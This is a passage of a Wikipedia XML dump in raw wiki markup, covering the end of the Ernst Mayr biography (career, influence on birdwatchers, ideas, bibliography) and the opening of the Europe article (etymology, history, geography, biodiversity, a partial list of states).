He returned to Germany in 1930 and in 1931 he accepted a curatorial position at the American Museum of Natural History, where he played the important role of brokering and acquiring the [[Walter Rothschild, 2nd Baron Rothschild|Walter Rothschild]] collection of bird skins, which was being sold in order to pay off a blackmailer. During his time at the museum he produced numerous publications on bird taxonomy, and in 1942 his first book, ''[[Systematics and the Origin of Species]]'', which completed the evolutionary synthesis started by Darwin. 

After  Mayr was appointed at the American Museum of Natural History, he influenced American ornithological research by cultivating mentoring relationships with young birdwatchers. Mayr organized a monthly seminar under the auspices of the Linnaean Society of New York. This society, under the influence of J. A. Allen, Frank Chapman and Jonathan Dwight concentrated on taxonomy and later became a clearing house for bird banding and sight records. There were a group of eight young birdwatchers from the Bronx and later became the Bronx County Bird Club and they were led by Ludlow Griscom. Mayr was surprised at the differences between American and German Birding Societies. He noted that the German society was &quot;far more scientific, far more interested in life histories and breeding bird species, as well as in reports on recent literature.&quot; Mayr also encouraged his Linnaean Society seminar participants to take up a specific research project of their own. &quot;Everyone should have a problem&quot; was the way one Bronx County Bird Club member recalled Mayr's refrain. One of Mayr's seminar participants was Joseph Hickey and under Mayr's influence went on to write ''A Guide to Birdwatching'' (1943). Hickey remembered later &amp;ndash;&quot;Mayr was our age and invited on all our field trips. The heckling of this German foreigner was tremendous, but he gave tit for tat, and any modern picture of Dr E. Mayr as a very formal person does not square with my memory of the 1930's. He held his own.&quot; Mayr's said of his own involvement with the local birdwatchers: &quot;In those early years in New York when I was a stranger in a big city, it was the companionship and later friendship which I was offered in the Linnean Society that was the most important thing in my life.&quot; 

Another person that Mayr greatly influenced was [[Margaret Morse Nice]]. Mayr encouraged her to correspond with the European ornithologists of the time, and helped her in her landmark study on Song Sparrows. Nice wrote to Joseph Grinnell in 1932 trying to get foreign literature reviewed in the ''Condor'': &quot;Too many American ornithologists have despised the study of the living bird; the magazine[s] and books that deal with the subject abound in careless statements, anthropomorphic interpretations, repetition of ancient errors, and sweeping conclusions from a pitiful array of facts. ...  in Europe the study of the living bird is taken seriously. We could learn a great deal from their writing.&quot; Mayr ensured that Nice could publish her two volume ''Studies in the Life History of the Song Sparrow'', finding her a publisher, and her book was reviewed by Aldo Leopold, Grinnell, Jean Delacour. Nice dedicated her book to &quot;My Friend Ernst Mayr.&quot;

Mayr joined the [[Faculty (university)|faculty]] of [[Harvard University]] in 1953, where he also served as director of the Museum of Comparative Zoology from 1961 to 1970. He retired in 1975 as [[emeritus]] professor of [[zoology]], showered with honors.  Following his retirement, he went on to publish more than 200 articles, in a variety of journals&amp;mdash;more than some reputable scientists publish in their entire careers; 14 of his 25 books were published after he was 65. Even as a [[centenarian]], he continued to write books. On his 100th birthday, he was interviewed by ''[[Scientific American]]'' magazine.

He received awards including the [[National Medal of Science]], the [[Balzan Prize]] and the [[International Prize for Biology]]. He was never awarded a [[Nobel Prize]], but he noted that there is no Prize for evolutionary biology, and that Darwin would not have received one, either.

Mayr was co-author of six global reviews of [[bird species new to science]] (listed below).

==Mayr's ideas==
As a traditionally trained biologist with little [[mathematics|mathematical]] experience, Mayr was often highly critical of early mathematical approaches to evolution such as those of [[J. B. S. Haldane]], famously calling in 1959 such approaches &quot;bean bag genetics&quot;. He maintained that factors such as [[Species#The isolation species concept in more detail|reproductive isolation]] had to be taken into account.  In a similar fashion, Mayr was also quite critical of [[molecular evolution]]ary studies such as those of [[Carl Woese]].

In many of his writings, Mayr rejected [[reductionism]] in evolutionary biology, arguing that evolutionary pressures act on the whole organism, not on single genes, and that genes can have different effects depending on the other genes present. He advocated a study of the whole [[genome]] rather than of isolated genes only. Current molecular studies in evolution and speciation indicate that although [[allopatric speciation]] seems to be the norm in groups (possibly those with greater mobility) such as the birds, there are numerous cases of [[sympatric speciation]] in many invertebrates (especially in the insects).

Mayr was an outspoken defender of the [[scientific method]], and one known to sharply critique science on the edge. As a notable recent example, he criticized the search for aliens as conducted by fellow Harvard professor [[Paul Horowitz]] as being a waste of university and student resources, for its inability to address and answer a scientific question.

==See also==
* [[Philosophy of biology]]

==Bibliography==
===Books===
*1942 ''[[Systematics and the Origin of Species]]''. Columbia University Press. New York. ISBN 0674862503
*1963 ''[[Animal Species and Evolution]]''. Harvard University Press. ISBN 0674037502
*1970 ''[[Populations, Species and Evolution]]''. Harvard University Press. ISBN 0674690133
*1976 ''[[Evolution and the Diversity of Life]]: Selected Essays''. Harvard University Press. ISBN 067427105X
*1982 ''[[The Growth of Biological Thought]]: Diversity, Evolution and Inheritance''. Harvard University Press. ISBN 0674364465
*1988 ''[[Toward a New Philosophy of Biology]]: Observations of an Evolutionist''. Harvard University Press. ISBN 0674896661
*1991 with P Ashlock ''[[Principles of Systematic Zoology]]'' revised ed. McGraw-Hill, NY. ISBN 0070411441
*1991 ''[[One Long Argument]]: Charles Darwin and the Genesis of Modern Evolutionary Thought''. Harvard University Press, Cambridge, Massachusetts. ISBN 0674639065
*1997 ''[[This is Biology]]: The Science of the Living World''. Harvard University Press. ISBN 0674884698
*2001 with [[Jared Diamond]]. ''[[Birds of Northern Melanesia]]: Speciation, Ecology and Biogeography''. Oxford University Press, NY. ISBN 0195141709
*2001 ''[[What Evolution Is]]''. Basic Books. New York. ISBN 0465044263
*2004 ''[[What makes biology unique?]] Considerations on the Autonomy of a Scientific Discipline''. Cambridge University Press. New York. ISBN 0521841143

===Global reviews of species new to science===
* Zimmer, J. T. &amp; E. Mayr (1943) New species of birds described from 1938 to 1941 ''[[The Auk]]'' Vol. 60 pp. 249-262
* Mayr, E. (1957) New species of birds described from 1941 to 1955 ''[[Journal for Ornithology]]'' Vol. 98 pp. 22-35
* Mayr, E. (1971) New species of birds described from 1956 to 1965 ''Jour. f. Ornith.'' Vol. 112 pp. 302-316
* Mayr, E. &amp; F. Vuilleumier (1983) New species of birds described from 1966 to 1975 ''Jour. f. Ornith.'' Vol. 124 pp. 217-232
* Vuilleumier, F. &amp; E. Mayr (1987) New species of birds described from 1976 to 1980 ''Jour. f. Ornith.'' Vol. 128 pp. 137-150
* Vuilleumier, François, Mary LeCroy &amp; Ernst Mayr (1992) New species of birds described from 1981 to 1990 ''[[Bulletin of the British Ornithologists' Club]]'' Vol. 112A pp. 267-309

===Other notable publications===
*1923 &quot;Die Kolbenente (''Nyroca rufina'') auf dem Durchzuge in Sachsen&quot;. ''Ornithologische Monatsberichte'' 31:135-136
*1923 &quot;Der Zwergfliegenschapper bei Greifswald&quot;. ''Ornithologische Monatsberichte'' 31:136
*1926 &quot;Die Ausbreitung des Girlitz (''Serinus canaria serinus'' L.) Ein Beitrag zur Tiergeographie&quot;. ''J. fur Ornithologie'' 74:571-671
*1927 &quot;Die Schneefinken (Gattungen ''Montifringilla'' und ''Leucosticte'')&quot; ''J. für Ornithologie'' 75:596-619
*1929 with W Meise. ''Zeitschriftenverzeichnis des Museums fur Naturkunde Mitteilungen aus dem Zoologischen Museum in Berlin'' 14:1-187
*1930 (by [[Ernst Hartert]]) &quot;List of birds collected by Ernst Mayr&quot;. ''Ornithologische Monatsberichte'' 36:27-128
*1930 &quot;My Dutch New Guinea Expedition&quot;. 1928. ''Ornithologische Monatsberichte'' 36:20-26
*1931 ''Die Vogel des Saurwagedund Herzoggebirges (NO Neuginea) Mitteilungen aus dem Zoologischen Museum in Berlin'' 17:639-723
*1931 &quot;Birds collected during the Whitney South Sea Expedition. XII Notes on ''Halcyon chloris'' and some of its subspecies&quot;. ''American Museum Novitates'' no 469
*1932 &quot;A tenderfoot explorer in New Guinea&quot;. ''Natural History'' 32:83-97
*1935 &quot;Bernard Altum and the territory theory&quot;. ''Proceedings of the Linnaean Society of New York'' 45, 46:24-38
*1940 &quot;Speciation phenomena in birds&quot;. ''American Naturalist'' 74:249-278
*1941 &quot;Borders and subdivision of the Polynesian region as based on our knowledge of the distribution of birds&quot;. ''Proceedings of the 6th Pacific Scientific Congress'' 4:191-195
*1941 &quot;The origin and history of the bird fauna of Polynesia&quot;. ''Proceedings of the 6th Pacific Scientific Congress'' 4:197-216
*1943 &quot;A journey to the Solomons&quot;. ''Natural History'' 52:30-37,48
*1944 &quot;Wallace's Line in the light of recent zoogeographics studies&quot;. ''Quarterly Review of Biology'' 19:1-14
*1944 &quot;The birds of Timor and Sumba&quot;. ''Bulletin of the American Museum of Natural History'' 83:123-194
*1944 &quot;Timor and the colonization of Australia by birds&quot;. ''Emu'' 44:113-130
*1946 &quot;History of the North American bird fauna&quot;. ''Wilson Bulletin'' 58:3-41
*1946 &quot;The naturalist in Leidy's time and today&quot;. ''Proceedings of the Academy of Natural Sciences of Philadelphia'' 98:271-276
*1947 &quot;Ecological factors in speciation&quot;. ''Evolution'' 1:263-288
*1948 &quot;The new Sanford Hall&quot;. ''Natural History'' 57:248-254
*1950 ''The role of the antennae in the mating behavior of female Drosophila''. Evolution 4:149-154
*1951 ''Introduction and Conclusion. Pages 85,255-258 in The problem of land connections across the South Atlantic with special reference to the Mesozoic''. Bulletin of the American Museum of Natural History 99:79-258
*1951 with [[Dean Amadon]], &quot;A classification of recent birds&quot;. ''American Museum Novitates'' no. 1496
*1953 with E G Linsley and R L Usinger. ''Methods and Principles of Systematica Zoology''. McGraw-Hill, New York.
*1954 &quot;Changes in genetic environment and evolution&quot;. Pages 157-180 in ''Evolution as a Process'' (J Huxley, A C Hardy and E B Ford Eds) Allen and Unwin. London
*1955 &quot;Karl Jordan's contribution to current concepts in systematics and evolution&quot;. ''Transactions of the Royal Entomological Society of London'' 107:45-66
*1956 with C B Rosen. &quot;Geographic variation and hybridization in populations of Bahama snails (''Cerion'')&quot;. ''American Museum Novitates'' no 1806.
*1957 &quot;Species concepts and definitions&quot;. Pages 371-388 in ''The Species Problem'' (E. Mayr ed). AAAS, Washington DC.
*1959 &quot;The emergence of evolutionary novelties&quot;. Pages 349-380 in ''The Evolution of Life: Evolution after Darwin, vol 1'' (S. Tax, ed) University of Chicago.
*1959 &quot;Darwin and the evolutionary theory in Biology&quot;. Pages 1-10 in ''Evolution and Anthropology: A Centennial Appraisal'' (B J Meggers, Ed) The Anthropological Society of Washington, Washington DC.
*1959 &quot;Agassiz, Darwin, and Evolution&quot;. ''Harvard Library Bulletin''. 13:165-194
*1961 &quot;Cause and effect in biology: Kinds of causes, predictability, and teleology are viewed by a practicing biologist&quot;. ''Science'' 134:1501-1506
*1962 &quot;Accident or design: The paradox of evolution&quot;. Pages 1-14 in ''The Evolution of Living Organisms'' (G W Leeper, Ed) Melbourne University Press.
*1964 Introduction, Bibliography and Subject Pages vii-xxviii, 491-513 in ''On the Origin of Species by Means of Natural Selection, or the Preservation of Favoured Races in the Struggle for Life, by Charles Darwin''. A Facsimile of the First Edition. Harvard University Press.
*1965 ''Comments. In Proceedings of the Boston Colloguium for the Philosophy of Science, 1962-1964''. Boston Studies in the Philosophy of Science 2:151-156
*1969 ''Discussion: Footnotes on the philosophy of biology''. Philosophy of Science 36:197-202
*1972 ''Continental drift and the history of the Austrailan bird fauna''. Emu 72:26-28
*1972 ''Geography and ecology as faunal determinants''. Pages 549-561 in Proceedings XVth International Ornithological Congress (K H Voous, Ed) E J Brill, Leiden, The Netherlands.
*1972 ''Lamarck revisited''. Journal of the History of Biology. 5:55-94
*1974 ''Teleological and teleonomic: A new analysis''. Boston studies in the Philosophy of Science 14:91-117
*1978 ''Tenure: A sacred cow?'' Science 199:1293
*1980 ''How I became a Darwinian, Pages 413-423 in The Evolutionary Synthesis'' (E Mayr and W Provine, Eds) Harvard University Press, Cambridge, Massachusetts.
*1980 with W B Provine, Eds. ''The Evolutionary Synthesis''. Harvard University Press.
*1981 ''Evolutionary biology. Pages 147-162 in The Joys of Research'' (W. Shripshire Jr, Ed.) Smithsonian Institution Press.
*1984 ''Evolution and ethics. Pages 35-46 in Darwin, Mars and Freud: Their influence on Moral Theory'' (A L Caplan and B Jennings, Eds.) Plenum Press, New York.
*1985 ''Darwin's five theories of evolution. Pages 755-772 in The Darwinian Heritage'' (D. Kohn, Ed.) Princeton University Press.
*1985 ''How biology differs from the physical sciences. Pages 43-63 in Evolution at a Crossroads: The New Biology and the New Philosophy of Science'' (D. J. Depew and B H Weber, Eds.) MIT Press, Cambridge.
*1988 ''The why and how of species''. Biology and Philosophy 3:431-441
*1992 ''The idea of teleology''. Journal of the History of Ideas 53:117-135
*1994 with Walter J Bock. ''Provisional classifications v. standard avian sequences: Heurisitics and communication in ornithology''. Ibis 136:12-18
*1996 ''The autonomy of Biology: The position of biology among the sciences''. Quarterly Review of Biology 71:97-106
*2001 ''The philosophical foundations of Darwinism''. Proceedings of the American Philosophical Society 145:488-495
*2002 with Walter J Bock. ''Classifications and other ordering systems''. Zeitschrift für Zoologische Systematic und Evolutionsforschung 40:1-25

==References==
*Barrow, Mark V. 1998. A passion for birds: American ornithology after Audubon. Princeton University Press. ISBN 0691044023
*Coyne, Jerry. 2005. Ernst Mayr (1904-2005). ''Science'' 307:1212-1213.
*Diamond, Jared. 2005. Obituary:  Ernst Mayr (1904−2005). ''Nature'' 433:700-701.
*Milner, Richard. 1990. ''The Encyclopedia of Evolution.'' Facts on File, New York. ISBN 0816014728
*Schilthuizen, Menno. 2001. ''Frogs, Flies, and Dandelions: Speciation-The Evolution of New Species''. Oxford ISBN 0198503938

==External links==
*[http://www.sciencemag.org/cgi/content/full/305/5680/46 &quot;80 Years of Watching the Evolutionary Scenery&quot;], Science.
*[http://www.stephenjaygould.org/library/mayr_punctuated.html Mayr on Eldredge and Gould's punctuated equilibria].
*[http://www.timesonline.co.uk/article/0,,60-1473218,00.html Ernst Mayr obituary in the Times]
*[http://www.economist.com/people/displayStory.cfm?story_id=3644451 Ernst Mayr obituary in the Economist]
*[http://www.pbs.org/wgbh/evolution/library/06/2/l_062_01.html Ernst Mayr and the Evolutionary Synthesis]

[[Category:1904 births|Mayr, Ernst]]
[[Category:2005 deaths|Mayr, Ernst]]
[[Category:American biologists|Mayr, Ernst]]
[[Category:American ornithologists|Mayr, Ernst]]
[[Category:American philosophers|Mayer, Ernst]]
[[Category:Centenarians|Mayr, Ernst]]
[[Category:Evolutionary biologists|Mayr, Ernst]]
[[Category:German biologists|Mayr, Ernst]]
[[Category:German ornithologists|Mayr, Ernst]]
[[Category:Historians of science|Mayr, Ernst]]
[[Category:National Medal of Science recipients|Mayr, Ernst]]
[[Category:Philosophers|Mayr, Ernst]]

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  </page>
  <page>
    <title>Europe</title>
    <id>9239</id>
    <revision>
      <id>42124273</id>
      <timestamp>2006-03-03T23:56:23Z</timestamp>
      <contributor>
        <username>Klaam</username>
        <id>840384</id>
      </contributor>
      <text xml:space="preserve">{{otheruses}}
[[Image:LocationEurope.png|thumb|250px|right|World map showing Europe]]
{{portal}}
'''Europe''' is conventionally considered one of the seven [[continent]]s which, in this case, is more a [[human geography|cultural and political]] distinction than a [[physical geography|physiogeographic]] one.  Physically and [[geology|geologically]], Europe is a [[subcontinent]] or large [[peninsula]], forming the westernmost part of [[Eurasia]].  Europe is bounded to the north by the [[Arctic Ocean]], to the west by the [[Atlantic Ocean]] and to the south by the [[Mediterranean]] and the [[Caucasus]].  Europe's boundary to the east is vague, but has traditionally been given as the [[watershed]] for the [[Ural Mountains]] and [[Caspian Sea]] to the southeast: the Urals are considered by most to be a geographical and tectonic landmark separating [[Asia]] from Europe. 
:''For detailed description of the Asia-Europe boundary see [[Transcontinental_nation#Europe_and_Asia|this article]]. See also [[Copenhagen criteria#Geographic criteria|Geographic criteria for EU membership]].''

Europe is the world's second-smallest continent in terms of [[area]], covering around 10,430,000 [[square kilometre]]s (4,020,000 [[square mile|sq mi]]) or 2.0% of the [[Earth]]'s surface, and is only larger than [[Australia]].  In terms of [[population]], it is the third-largest continent (Asia and [[Africa]] are larger) with a population of more than 705,000,000, or about 11% of the world's population.

==Etymology==
[[Image:Europa-Zeus-LDS.jpg|thumb|Picture of [[Europa (mythology)|Europa]], carried away by bull-shaped [[Zeus]].]]

In [[Greek mythology]], [[Europa (mythology)|Europa]] was a [[Phoenicia]]n princess who was abducted by [[Zeus]] in bull form and taken to the island of [[Crete]], where she gave birth to [[Minos]]. For [[Homer]], ''Europé'' ([[Greek language|Greek]]: Ευρωπη; see also [[List of traditional Greek place names]]) was a mythological queen of Crete, not a geographical designation. Later ''Europa'' stood for [[Geography of Greece|mainland Greece]], and by [[500 BC]] its meaning had been extended to lands to the north.

The Greek term ''Europe'' has been derived from Greek words meaning broad (''eurys'') and face (''ops'') -- ''broad'' having been an [[epithet|epitheton]] of [[Earth]] herself in the reconstructed [[Proto-Indo-European religion]]; see [[Prithvi]] (''Plataia''). A minority, however, suggest this Greek [[popular etymology]] is really based on a [[Semitic]] word such as the [[Akkadian language|Akkadian]] ''erebu'' meaning &quot;sunset&quot; (see also ''[[Erebus]]''). From the [[Middle East]]ern vantagepoint, the sun does set over Europe, the lands to the west. Likewise, [[Asia]] is sometimes thought to have derived from the Akkadian word ''asu'', meaning &quot;sunrise&quot;, and is the land to the east from a [[Mesopotamian]] perspective.

==History==
{{main|History of Europe}}

As part of the [[Old World]], Europe has a long history of cultural and economic achievement, starting as far back as the [[Palaeolithic]]. The recent discovery at [[Monte Poggiolo]], [[Italy]], of thousands of stones shaped by human hands, and tentatively carbon-dated to 800,000 years ago, may prove to be of particular importance.

The origins of Western democratic and individualistic culture are often attributed to [[Ancient Greece]], though numerous other distinct influences, in particular [[Christianity]], can also be credited with the spread of concepts like egalitarianism and universality of law. 

The [[Roman Empire]] divided the continent along the [[Rhine]] and [[Danube]] for several centuries. Following the [[decline of the Roman Empire]], Europe entered a long period of changes arising from what is known as the [[Age of Migrations]]. That period has been known as the &quot;[[Dark Ages]]&quot; to [[Renaissance]] thinkers. During this time, the [[Ottoman Empire]] conquered [[Istanbul]] formerly known as Constantinople and finished the [[Byzantine Empire]] and became the most important power of all Europe. Isolated monastic communities in [[Ireland]] and elsewhere carefully safeguarded and compiled written knowledge accumulated previously. The [[Renaissance]] and the [[New Monarchs]] marked the start of a period of discovery, exploration, and increase in scientific knowledge. In the 15th century [[Portugal]] opened the age of discoveries, soon followed by [[Spain]]. They were later joined by [[France]], the [[Netherlands]] and the [[United Kingdom]] in building large colonial empires with vast holdings in [[Africa]], [[the Americas]], and [[Asia]].

After the age of discovery, the ideas of [[democracy]] took hold in Europe. Struggles for independence arose, most notably in [[France]] during the period known as the [[French Revolution]]. This led to vast upheaval in Europe as these revolutionary ideas propagated across the continent. The rise of democracy led to increased tensions within Europe on top of the tensions already existing due to competition within the [[New World]]. The most famous of these conflicts was when [[Napoleon I of France|Napoleon Bonaparte]] rose to power and set out on a conquest, forming a new [[First French Empire|French Empire]] that soon collapsed. After these conquests Europe stabilised, but the old foundations were already beginning to crumble.

The [[Industrial Revolution]] started in the [[United Kingdom]] in the late 18th century, leading to a move away from agriculture, much greater general prosperity and a corresponding increase in population. Many of the states in Europe took their present form in the [[aftermath of World War I#Geopolitical and Economic Consequences|aftermath of World War I]]. From the end of [[World War II]] through the end of the [[Cold War]], Europe was divided into two major political and economic blocks: [[Communism|Communist]] nations in [[Eastern Europe]] (with the exceptions of [[Turkey]] and [[Greece]]) and [[Capitalism|capitalist]] countries in [[Western Europe]] and [[Southern Europe]]. Around 1990, with the fall of the [[Berlin Wall]], the [[Eastern bloc]] disintegrated.

==Geography and extent==
{{main|Geography of Europe}}

[[Image:Physical Map of Europe.jpg|right|250px|thumb|Europe at its furthest extent, reaching to the Urals.]]
[[Image:Europe satellite orthographic.jpg|thumb|250px|A satellite composite image of Europe]]
[[Image:Aiguille du midi et mont blanc.JPG|right|200px|thumb|[[Mont Blanc]], usually considered the highest mountain in Europe.]]
[[Image:Vourvourou-Greece.jpg|right|200px|thumb|Shoreline in [[Mediterranean Sea]].]]
[[Image:P%C3%A4ij%C3%A4nne_and_p%C3%A4ij%C3%A4tsalo.jpg|right|200px|thumb|[[Päijänne]] lake and [[white nights]] in [[Scandinavia]].]]

Geographically Europe is a part of the larger landmass known as [[Eurasia]]. The continent begins at the [[Ural Mountains]] in [[Russia]], which define Europe's eastern boundary with [[Asia]]. The southeast boundary with Asia is not universally defined. Most commonly the [[Ural River|Ural]] or, alternatively, the [[Emba River|Emba]] River serve as possible boundaries. The boundary continues to the [[Caspian Sea]], the crest of the [[Caucasus Mountains]] or, alternatively, the [[Kura River]] in the [[Caucasus]], and on to the [[Black Sea]]; the [[Bosporus]], the [[Sea of Marmara]], and the [[Dardanelles]] conclude the Asian boundary. However, numerous [[geographers]] consider [[Azerbaijan]]'s and [[Armenia]]'s southern border with [[Iran]] and [[Turkey]]'s southern and eastern border with [[Syria]], [[Iraq]] and [[Iran]] as the boundary between [[Asia]] and Europe because of political and cultural reasons. The [[Mediterranean Sea]] to the south separates Europe from [[Africa]]. The western boundary is the [[Atlantic Ocean]], but [[Iceland]], much farther away than the nearest points of [[Africa]], is also often included in Europe. There is ongoing debate on where the [[geographical centre of Europe]] is. ''For detailed description of the boundary between Asia and Europe [[Transcontinental nation|see here]].''

Because of political, cultural and geographical differences, there are various descriptions of  Europe's boundary. Therefore, in some sources, some countries are not included in Europe, while the other sources do include them.

Almost all European countries are members of the [[Council of Europe]], the exceptions being [[Belarus]], and the [[Holy See]] ([[Vatican City]]).

The idea of the European ''continent'' is not held across all cultures. Some non-European geographical texts refer to the continent of Eurasia, or to the European peninsula, given that Europe is not surrounded by sea. In the past concepts such as [[Christendom]] were deemed more important.

In another usage, ''Europe'' is increasingly being used as a short-form for the [[European Union]] (EU) and its members, currently consisting of 25 member states and the candidate countries negotiating for membership, and several other countries expected to begin negotiations in the future (see [[Enlargement of the European Union]]). This definition, however, excludes non-members such as [[Russia]] and [[Switzerland]].

===Physical features===
In terms of shape, Europe is a collection of connected [[peninsula|peninsulas]]. The two largest of these are &quot;mainland&quot; Europe and [[Scandinavia]] to the north, divided from each other by the [[Baltic Sea]].  Three smaller peninsulas ([[Iberian peninsula|Iberia]], [[Italy]] and the [[Balkans]]) emerge from the southern margin of the mainland into the [[Mediterranean Sea]], which separates Europe from [[Africa]]. Eastward, mainland Europe widens much like the mouth of a funnel, until the boundary with Asia is reached at the [[Ural Mountains]].

Land relief in Europe shows great variation within relatively small areas. The southern regions, however, are more mountainous, while moving north the terrain descends from the high [[Alps]], [[Pyrenees]] and [[Carpathians]], through hilly uplands, into broad, low northern plains, which are vast in the east. This extended lowland is known as the Great European Plain, and at its heart lies the [[North German Plain]]. An arc of uplands also exists along the northwestern seaboard, beginning in the western [[British Isles]] and continuing along the mountainous, [[fjord]]-cut spine of [[Norway]].

This description is simplified. Sub-regions such as Iberia and Italy contain their own complex features, as does mainland Europe itself, where the relief contains many plateaus, river valleys and basins that complicate the general trend. [[Iceland]] and the [[British Isles]] are special cases. The former is a land unto itself in the northern ocean which is counted as part of Europe, while the latter are upland areas that were once joined to the mainland until rising sea levels cut them off.

Due to the few generalisations that can be made about the relief of Europe, it is less than surprising that its many separate regions provided homes for many separate nations throughout history.

==Biodiversity==
&lt;!-- probably this should be transferred to a new article named &quot;Biodiversity of Europe&quot; and only the summary should be left here. Specific species should be added. --&gt;

Having lived side-by-side with agricultural peoples for millennia, Europe's animals and plants have been profoundly affected by the presence and activities of man. With the exception of [[Scandinavia]] and northern [[Russia]], few areas of untouched wilderness are today to be found in Europe, except for different natural parks.

The main natural vegetation cover in Europe is [[forest]]. The conditions for growth are very favourable. In the north, the [[Gulf Stream]] and [[North Atlantic Drift]] warm the continent. Southern Europe could be described as having a warm, but mild climate. There are frequent summer droughts in this region. Mountain ridges also affect the conditions. Some of these ([[Alps]], [[Pyrenees]]) are oriented east-west and allow the wind to carry large masses of water from the ocean in the interior. Others are oriented south-north ([[Scandinavian Mountains]], [[Dinaric Alps|Dinarides]], [[Carpathians]], [[Apennines]]) and because the rain falls primarily on the side of mountains that is oriented towards sea, forests grow well on this side, while on the other side, the conditions are much less favourable. Few corners of mainland Europe have not been grazed by [[livestock]] at some point in time, and the cutting down of the pre-agricultural forest habitat caused disruption to the original plant and animal ecosystems.

Eighty to ninety percent of Europe was once covered by forest. It stretched from the Mediterranean Sea to the [[Arctic Ocean]]. Though over half of Europe's original forests disappeared through the centuries of [[deforestation]], Europe still has over one quarter of its land area as forest, such as the [[taiga]] of Scandinavia and Russia, mixed [[rainforest]]s of the Caucasus and the [[Cork oak]] forests in the western Mediterranean. During recent times, deforestation has been slowed and many trees have been planted. However, in many cases monoculture [[plantation]]s of [[Pinophyta|conifers]] have replaced the original mixed natural forest, because these grow quicker. The plantations now cover vast areas of land, but offer poorer habitats for many European forest dwelling species which require a mixture of tree species and diverse forest structure. The amount of natural forest in Western Europe is just 2-3% or less, in European Russia 5-10%. The country with the smallest percentage of forested area is the [[Republic of Ireland]] (8%), while the most forested country is [[Finland]] (72%). 

In temperate Europe, mixed forest with both [[flowering plant|broadleaf]] and [[pinophyta|conifer]] trees present. The most important species in central and western Europe are [[beech]] and [[oak]]. In the north, the taiga is a mixed [[spruce]]-[[pine]]-[[birch]] forest; further north within Russia and Scandinavia, the taiga gives way to [[tundra]] as the Arctic is approached. In the Mediterranean, many [[olive]] trees have been planted, which are very well adapted to its arid climate; [[Cupressus sempervirens|Mediterranean Cypress]] is also widely planted in southern Europe. The semi-arid Mediterranean region hosts much scrub forest. A narrow east-west tongue of Eurasian [[grassland]] (the [[steppe]]) extends eastwards from Ukraine and southern Russia and ends in Hungary and traverses into taiga to the north.

Glaciation during the most recent [[ice age]] and the presence of man affected the distribution of European fauna. As for the animals, in many parts of Europe most large animals and top [[predator]] species have been hunted to extinction. The [[woolly mammoth]] and [[aurochs]] were extinct before the end of the [[Neolithic]] period. Today [[wolf|wolves]] ([[carnivore]]s) and [[bears]] ([[omnivore]]s) are endangered. Once they were found in most parts of Europe. However, deforestation caused these animals to withdraw further and further. By the [[Middle Ages]] the bears' habitats were limited to more or less inaccessible mountains with sufficient forest cover. Today, the brown bear lives primarily in the Balkan peninsula, Scandinavia, and Russia; a small number also persist in other countries across Europe (Austria, Pyrenees etc.), but in these areas brown bear populations are fragmented and marginalised because of the destruction of their habitat. In addition, [[polar bear]]s may be found on [[Svalbard]], an autonomous [[Norway|Norwegian]] island region far north of Scandinavia.  The wolf, the second largest predator in Europe after the brown bear, can be found primarily in [[Eastern Europe]] and in the Balkans, with a handful of packs in Spain and Scandinavia.

Other important European carnivores are [[Eurasian lynx]], European [[wild cat]], [[fox]]es (especially the [[red fox]]), [[jackal]] and different species of [[marten]]s, [[hedgehog]]s, different species of snakes ([[viper]]s, [[grass snake]]...), different birds ([[owl]]s, [[hawk]]s and other [[birds of prey]]) 

Important European [[herbivore]]s are [[snail]]s, [[amphibian]]s, [[fish]], different birds, and [[mammal]]s, like [[rodent]]s, [[deer]]s and [[roe deer]]s, [[boar]]s, and living in the mountains, [[marmot]]s, [[Alpine Ibex|steinbocks]], [[chamois]]es among others.

Sea creatures are also an important part of European flora and fauna. The sea flora is mainly [[phytoplankton]]. Important animals that live in European seas are [[zooplankton]], [[mollusc]]s, [[echinoderm]]s, different [[crayfish]], [[squid]]s and [[octopus]]es, fish, [[dolphin]]s, and [[whales]].

Some animals live in [[cave]]s, for example [[olm|proteus]] and [[bat]]s.

== Demographics ==
Almost all of Europe was possibly settled before or during the last [[ice age]] ca. 10,000 years ago.  [[Neanderthal man]] and [[modern man]] coexisted during at least some of this time.  Roman road building helped with the [[interbreeding]] of the native Europeans' genetics. In contemporary times Europe has one of the lowest inbreeding rates in the world because of an extensive transport network paired with open borders.

Europe passed well over 600 million people before the turn of the 20th century, but now is entering a period of population decline due to a variety of social factors.

==Territories and divisions==
[[Image:Europe_political_map.png|thumb|center|500px|Territories of Europe (also see [[transcontinental nation]]):
{{legend|#00ff00|Europe, according to one commonly-reckoned definition}}
{{legend|#ff00ff|Extension over Asia of the continuous territory of a European state}}
{{legend|#880088|Geographically in Asia, considered European for cultural and historical reasons}}]]

:''See also: [[#Table of territories and regions|Table of European territories and regions]]''

===Political divisions===
====Independent states====
The following independent [[state]]s may be considered to be in Europe:
{| border=&quot;0&quot; cellpadding=&quot;2&quot;
|
* [[Albania]]
* [[Andorra]]
* [[Armenia]]&lt;small&gt;&lt;sup&gt;1&lt;/sup&gt;&lt;/small&gt;
* [[Austria]]
* [[Azerbaijan]]&lt;small&gt;&lt;sup&gt;2&lt;/sup&gt;&lt;/small&gt;
* [[Belarus]]
* [[Belgium]]
* [[Bosnia and Herzegovina]]
* [[Bulgaria]]
* [[Croatia]]
| width=&quot;10px&quot; | &amp;nbsp;
| style=&quot;vertical-align: top;&quot; |
* [[Czech Republic]]
* [[Cyprus]]&lt;small&gt;&lt;sup&gt;1&lt;/sup&gt;&lt;/small&gt;
* [[Denmark]]
* [[Estonia]]
* [[Finland]]
* [[France]]&lt;small&gt;&lt;sup&gt;3&lt;/sup&gt;&lt;/small&gt;
* [[Georgia (country)|Georgia]]&lt;small&gt;&lt;sup&gt;2&lt;/sup&gt;&lt;/small&gt;
* [[Germany]]
* [[Greece]]
* [[Hungary]]
| width=&quot;10px&quot; | &amp;nbsp;
| style=&quot;vertical-align: top;&quot; |
* [[Iceland]]
* [[Republic of Ireland|Ireland]]
* [[Italy]]
* [[Kazakhstan]]&lt;small&gt;&lt;sup&gt;4&lt;/sup&gt;&lt;/small&gt;
* [[Latvia]]
* [[Liechtenstein]]
* [[Lithuania]]
* [[Luxembourg]]
* [[Republic of Macedonia|Macedonia]]&lt;small&gt;&lt;sup&gt;5&lt;/sup&gt;&lt;/small&gt;
* [[Malta]]
| width=&quot;10px&quot; | &amp;nbsp;
| style=&quot;vertical-align: top;&quot; |
* [[Moldova]]
* [[Monaco]]
* [[Netherlands]]&lt;small&gt;&lt;sup&gt;6&lt;/sup&gt;&lt;/small&gt;
* [[Norway]]
* [[Poland]]
